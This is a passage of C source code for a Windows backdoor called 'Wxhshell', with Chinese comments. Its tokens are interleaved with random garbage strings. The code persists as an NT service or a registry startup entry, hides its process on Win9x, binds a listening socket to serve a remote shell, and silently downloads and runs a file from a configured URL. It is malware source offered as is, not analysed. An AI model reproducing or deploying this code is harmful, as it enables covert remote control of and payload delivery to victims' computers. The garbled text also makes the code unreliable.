cbNeeded; @h8~xs~DG @"2-tn@q_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 99-\cQv 5Ozj&Zq CloseHandle(hProcess); 86Vu PV- B
~GyS" if(strstr(procName,"services")) return 1; // 以服务启动 o#b9M4O y
+vcBuX return 0; // 注册表启动 8Qy |;T} } K_.x(Z(;4 7w({ GZ // 主模块 (<-0UR]%q; int StartWxhshell(LPSTR lpCmdLine)
fE}}> { _RVXE
SOCKET wsl; x7>sy,c BOOL val=TRUE; 5G[^ah<Tg int port=0; AkC\CdmA struct sockaddr_in door; pDfF'jt9 }]@
"t)" if(wscfg.ws_autoins) Install(); 2O>iAzc ?yh.*,dgi port=atoi(lpCmdLine); YJ`>&AJ D1a2|^zt
if(port<=0) port=wscfg.ws_port; eU*hqy?0 Y?x3JU0_ WSADATA data; k0|InP7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #=m5*}= ]~,'[gWb if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n$iz setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d1TG[i<J_ door.sin_family = AF_INET; (Zkt2[E` door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?y
kIi/ door.sin_port = htons(port); }wKU=Vm kY&j~R[C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :l{-UkbB closesocket(wsl); 5j%jhby? return 1; E2cmT$6 } LdV_7) <jjaqDSmz if(listen(wsl,2) == INVALID_SOCKET) { *}=W wG closesocket(wsl); y6\#{
return 1; YTsn;3d]} } 5@\<:Zmi Wxhshell(wsl); ZgtOy|?| WSACleanup(); wu3ZSLY >d|W>|8e return 0; `. Z". U6"50G~u } _1QNO#X kS>j!U(%d // 以NT服务方式启动 Z~<V>b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -g9f3Be { i[swOYz]X DWORD status = 0; j\<S 6%p#R DWORD specificError = 0xfffffff; `!BUd hw1s^:|+2 serviceStatus.dwServiceType = SERVICE_WIN32; 8[V!e[ serviceStatus.dwCurrentState = SERVICE_START_PENDING; qm_\#r serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }z6HxB]$ serviceStatus.dwWin32ExitCode = 0; Y|bGd_j serviceStatus.dwServiceSpecificExitCode = 0; L[efiiLh$ serviceStatus.dwCheckPoint = 0; p*G_$"KpP serviceStatus.dwWaitHint = 0; '=xl}v w1Kyd?~%] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
~j_H2+! if (hServiceStatusHandle==0) return; dx#N)? $U1'n@/J status = GetLastError(); a?dM8zAnc if (status!=NO_ERROR) LBzpaLd { X^`ld&^*({ serviceStatus.dwCurrentState = SERVICE_STOPPED; ]|oqJ2P serviceStatus.dwCheckPoint = 0; u Wtp2]A serviceStatus.dwWaitHint = 0; C" {j0X` serviceStatus.dwWin32ExitCode = status; u]"RAH serviceStatus.dwServiceSpecificExitCode = specificError; n=~?BxB SetServiceStatus(hServiceStatusHandle, &serviceStatus); l}{O return; uxBk7E%6 } t+
@F"[j 0Pe.G0 # serviceStatus.dwCurrentState = SERVICE_RUNNING; H}X"yLog* serviceStatus.dwCheckPoint = 0; HD|5:f AqA serviceStatus.dwWaitHint = 0; qH$p]+Rk 5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Pbp=R/7ar } .(krB%N <qu\q \ // 处理NT服务事件,比如:启动、停止 UqH7e c VOID WINAPI NTServiceHandler(DWORD fdwControl) LcXrD+
1 { E[y?\{ switch(fdwControl) ["z$rk { afjC~} case SERVICE_CONTROL_STOP: x!J L9 serviceStatus.dwWin32ExitCode = 0; 4)?c[aC4P serviceStatus.dwCurrentState = SERVICE_STOPPED; 'W)x<Iey1 serviceStatus.dwCheckPoint = 0; %rYt; 7B serviceStatus.dwWaitHint = 0; Mg].# { iV%%VR8b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G:UdU{ } K%;O$
> return; %(i(ZW " case SERVICE_CONTROL_PAUSE: AdhCC13B serviceStatus.dwCurrentState = SERVICE_PAUSED; IkupW|}rc break; x&sF_<[ case SERVICE_CONTROL_CONTINUE: ({)_[dJ' serviceStatus.dwCurrentState = SERVICE_RUNNING; q
/#O :Q break; $O[ut. case SERVICE_CONTROL_INTERROGATE: M30_b8[Y_ break; w
^A0l.{ }; M9M EQK SetServiceStatus(hServiceStatusHandle, &serviceStatus); e.Ii@< } ZyTah\yPM IMBqy -q // 标准应用程序主函数 lD(d9GVm{z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X6PfOep { j \SDw W[b/.u5z: // 获取操作系统版本 2-
)Ml* OsIsNt=GetOsVer(); wvfCj6}S& GetModuleFileName(NULL,ExeFile,MAX_PATH); N24+P5 ]HRE-g // 从命令行安装 0GB6.Ggft if(strpbrk(lpCmdLine,"iI")) Install(); {^~{X$YI BD#4=u // 下载执行文件 "l!"gc87 if(wscfg.ws_downexe) { pz(clTOD: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 X@5W$x WinExec(wscfg.ws_filenam,SW_HIDE); F"LT\7yjyG } Wd[XQZ< CNzK-,
if(!OsIsNt) { #SL/Jr
DZ // 如果时win9x,隐藏进程并且设置为注册表启动 #)XO,^s. HideProc(); Cnc77EUD StartWxhshell(lpCmdLine); zX3O_ } 8ciLzyrY* else *rWE.4=& if(StartFromService()) a].Bn#AH!C // 以服务方式启动 i
cZQv] StartServiceCtrlDispatcher(DispatchTable); ,L`qV else L&eO?I=, // 普通方式启动 n^'{{@&(v StartWxhshell(lpCmdLine); H94$Xi"Bd 9[:nWp^ return 0; /wmJMX }
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